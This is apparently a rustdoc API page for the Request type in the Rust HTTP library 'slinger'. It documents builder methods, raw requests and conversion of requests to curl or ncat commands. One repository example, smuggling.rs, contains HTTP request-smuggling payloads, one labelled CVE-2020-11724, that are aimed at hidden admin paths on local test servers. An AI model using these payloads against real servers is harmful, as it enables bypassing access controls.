Struct Request

pub struct Request { /* private fields */ }

A request which can be executed with Client::execute().

Implementations

impl Request

pub fn builder() -> Builder

Creates a new builder-style object to manufacture a Request

This method returns an instance of Builder which can be used to create a Request.

Examples

let request = Request::builder()
    .method("GET")
    .uri("https://www.rust-lang.org/")
    .header("X-Custom-Foo", "Bar")
    .body(())
    .unwrap();

Examples found in repository

examples/http_to_command.rs (line 46)

fn main() {
  let req: slinger::Request = slinger::Request::builder()
    .uri("http://httpbin.org/get")
    .header("X", "X")
    .body(Bytes::from(b"\x7f\x45\x4c\x46\x01\x00\x02\x03".to_vec()))
    .unwrap()
    .into();
  println!("{}", req.get_command());
  let raw = RAW.replace('\n', "\r\n");
  let raw = [raw.as_bytes(), b"\x7f\x45\x4c\x46\x01\x00\x02\x03"].concat();
  let raw_req = slinger::RequestBuilder::default()
    .raw(raw, true)
    .build()
    .unwrap();
  println!("{}", raw_req.get_command());
  // or from request
  println!("{}", CommandRecord::from(&req))
}

examples/base.rs (line 18)

fn main() -> Result<(), Box<dyn std::error::Error>> {
  let client = ClientBuilder::new()
    .user_agent(HeaderValue::from_static(
      "Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0",
    ))
    .build()
    .unwrap();
  let resp = slinger::get("http://httpbin.org/get")?;
  println!("{:?}", resp.body());
  let resp = client
    .post("http://httpbin.org/post")
    .body(b"test".to_vec())
    .send()?;
  println!("{:?}", resp.text());
  let req = Request::builder()
    .uri("http://httpbin.org/head")
    .method("HEAD")
    .header("pragma", "akamai-x-cache-on")
    .body(None)
    .unwrap();
  let resp = client.execute(req).unwrap();
  println!("{:?}", resp);
  Ok(())
}

pub fn raw<U, R>(uri: U, raw: R, unsafe_raw: bool) -> Request

where Bytes: From<R>, Uri: From<U>,

This method return raw_request to create a Request

Examples

let request: Request = Request::raw(http::Uri::from_static("http://httpbin.org"),"",true);
assert!(request.raw_request().is_some());

Examples found in repository

examples/request_budiler.rs (line 13)

fn main() -> Result<(), Box<dyn std::error::Error>> {
  let client = ClientBuilder::new().build().unwrap();
  let resp = client
    .post("https://httpbin.org/post")
    .header("XX", "XX")
    .header_line("X: X")
    .body(b"data".as_slice())
    .send()?;
  println!("{:?}", resp.text());
  let u = http::Uri::from_static("https://httpbin.org/post");
  let raw = Request::raw(u, "", true);
  println!("{:?}", raw);
  Ok(())
}

impl Request

pub fn method(&self) -> &Method

Set the HTTP method for this request.

By default, this is GET.

Examples

let req = Request::builder()
    .method("POST")
    .body(())
    .unwrap();

pub fn method_mut(&mut self) -> &mut Method

Get the HTTP Method for this request.

By default, this is GET. If builder has error, returns None.

Examples

let mut req = Request::builder();
assert_eq!(req.method_ref(),Some(&Method::GET));

req = req.method("POST");
assert_eq!(req.method_ref(),Some(&Method::POST));

pub fn uri(&self) -> &Uri

Set the URI for this request.

By default, this is /.

Examples

let req = Request::builder()
    .uri("https://www.rust-lang.org/")
    .body(())
    .unwrap();

pub fn uri_mut(&mut self) -> &mut Uri

Get the URI for this request

By default, this is /.

Examples

let mut req = Request::builder();
assert_eq!(req.uri_ref().unwrap(), "/" );

req = req.uri("https://www.rust-lang.org/");
assert_eq!(req.uri_ref().unwrap(), "https://www.rust-lang.org/" );

pub fn headers(&self) -> &HeaderMap

Appends a header to this request builder.

This function will append the provided key/value as a header to the internal HeaderMap being constructed. Essentially this is equivalent to calling HeaderMap::append.

Examples

let req = Request::builder()
    .header("Accept", "text/html")
    .header("X-Custom-Foo", "bar")
    .body(())
    .unwrap();

pub fn headers_mut(&mut self) -> &mut HeaderMap

Get header on this request builder. when builder has error returns None

Example

let req = Request::builder()
    .header("Accept", "text/html")
    .header("X-Custom-Foo", "bar");
let headers = req.headers_ref().unwrap();
assert_eq!( headers["Accept"], "text/html" );
assert_eq!( headers["X-Custom-Foo"], "bar" );

pub fn body(&self) -> Option<&Body>

“Consumes” this builder, using the provided body to return a constructed Request.

Errors

This function may return an error if any previously configured argument failed to parse or get converted to the internal representation. For example if an invalid head was specified via header("Foo", "Bar\r\n") the error will be returned when this function is called rather than when header was called.

Examples

let request = Request::builder()
    .body(())
    .unwrap();

pub fn version(&self) -> Version

Returns the associated version.

Examples

let request: Request<()> = Request::default();
assert_eq!(request.version(), Version::HTTP_11);

pub fn version_mut(&mut self) -> &mut Version

Returns a mutable reference to the associated version.

Examples

let mut request: Request<()> = Request::default();
*request.version_mut() = Version::HTTP_2;
assert_eq!(request.version(), Version::HTTP_2);

pub fn raw_request(&self) -> &Option<RawRequest>

Returns raw_request.

Examples

let request: Request = Request::raw(http::Uri::from_static("http://httpbin.org"),"",true);
assert!(request.raw_request().is_some());

pub fn get_command(&self) -> String

Returns ncat or curl command to send request.

Examples

let req: slinger::Request = slinger::Request::builder()
.uri("http://httpbin.org/get")
.header("X", "X")
.body(bytes::Bytes::from(b"\x7f\x45\x4c\x46\x01\x00\x02\x03".to_vec())).unwrap().into();
println!("{}", req.get_command());

Examples found in repository

examples/http_to_command.rs (line 52)

fn main() {
  let req: slinger::Request = slinger::Request::builder()
    .uri("http://httpbin.org/get")
    .header("X", "X")
    .body(Bytes::from(b"\x7f\x45\x4c\x46\x01\x00\x02\x03".to_vec()))
    .unwrap()
    .into();
  println!("{}", req.get_command());
  let raw = RAW.replace('\n', "\r\n");
  let raw = [raw.as_bytes(), b"\x7f\x45\x4c\x46\x01\x00\x02\x03"].concat();
  let raw_req = slinger::RequestBuilder::default()
    .raw(raw, true)
    .build()
    .unwrap();
  println!("{}", raw_req.get_command());
  // or from request
  println!("{}", CommandRecord::from(&req))
}

examples/smuggling.rs (line 33)

fn cve_2020_11724() {
  let raw: &str = r#"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

"#;
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::new().build().unwrap();
  // replace \n to \r\n
  let raw = raw.replace('\n', "\r\n");
  let resp = client
    .raw("http://127.0.0.1:9015/", raw, true)
    .send()
    .unwrap();
  println!("{:?}", resp.text());
  let command = resp.request().unwrap().get_command();
  println!("{}", command);
}

fn nginx() {
  let raw = r#"
GET /a HTTP/1.1
Host: localhost
Content-Length: 56

GET /_hidden/index.html HTTP/1.1
Host: notlocalhost


"#;
  let client = ClientBuilder::new().build().unwrap();
  // replace \n to \r\n
  let raw = raw.replace('\n', "\r\n");
  let resp = client
    .raw("http://127.0.0.1:9015/", raw, true)
    .send()
    .unwrap();
  println!("{:?}", resp.text());
  let command = resp.request().unwrap().get_command();
  println!("{}", command);
}

Trait Implementations

impl Clone for Request

fn clone(&self) -> Request

Returns a copy of the value.

fn clone_from(&mut self, source: &Self)

Performs copy-assignment from source.

impl Debug for Request

fn fmt(&self, f: &mut Formatter<'_>) -> Result

Formats the value using the given formatter.

impl Default for Request

fn default() -> Request

Returns the “default value” for a type.

impl From<&Request> for CommandRecord

fn from(value: &Request) -> Self

Converts to this type from the input type.

impl<T> From<Request<T>> for Request

where T: Into<Body>,

fn from(value: HttpRequest<T>) -> Self

Converts to this type from the input type.